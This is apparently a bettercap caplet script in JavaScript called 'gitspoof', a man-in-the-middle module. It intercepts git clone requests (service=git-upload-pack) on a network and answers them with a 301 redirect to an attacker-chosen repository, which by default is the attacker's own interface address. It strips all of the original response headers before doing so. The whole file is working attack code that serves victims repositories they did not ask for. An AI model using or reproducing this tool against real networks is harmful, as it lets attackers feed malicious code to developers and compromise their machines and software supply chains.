30 lines
1002 B
JavaScript
30 lines
1002 B
JavaScript
var gitspoof_repo = undefined;
|
|
|
|
var red = "\033[31m",
|
|
yellow = "\033[33m",
|
|
green = "\033[32m",
|
|
bold = "\033[1;37m",
|
|
reset = "\033[0m"
|
|
|
|
function onLoad() {
|
|
env["gitspoof.repo"] ? gitspoof_repo = env["gitspoof.repo"] : gitspoof_repo = env["iface.ipv4"];
|
|
log( "Gitspoof loaded" );
|
|
log(green +"Git redirect to repo: " + yellow + gitspoof_repo + "/" + reset);
|
|
}
|
|
|
|
function onResponse(req, res) {
|
|
if (req.Query == 'service=git-upload-pack') {
|
|
log(bold + "Got git clone request, attempting redirect" + reset);
|
|
}
|
|
if (req.Query == 'service=git-upload-pack' && req.Hostname != gitspoof_repo) {
|
|
res.Status = 301;
|
|
headers = res.Headers.split("\r\n");
|
|
for (var i = 0; i < headers.length; i++) {
|
|
header_name = headers[i].replace(/:.*/, "");
|
|
res.RemoveHeader(header_name);
|
|
}
|
|
res.SetHeader("Location", "http://" + gitspoof_repo + "/info/refs?service=git-upload-pack");
|
|
res.Body = "";
|
|
}
|
|
}
|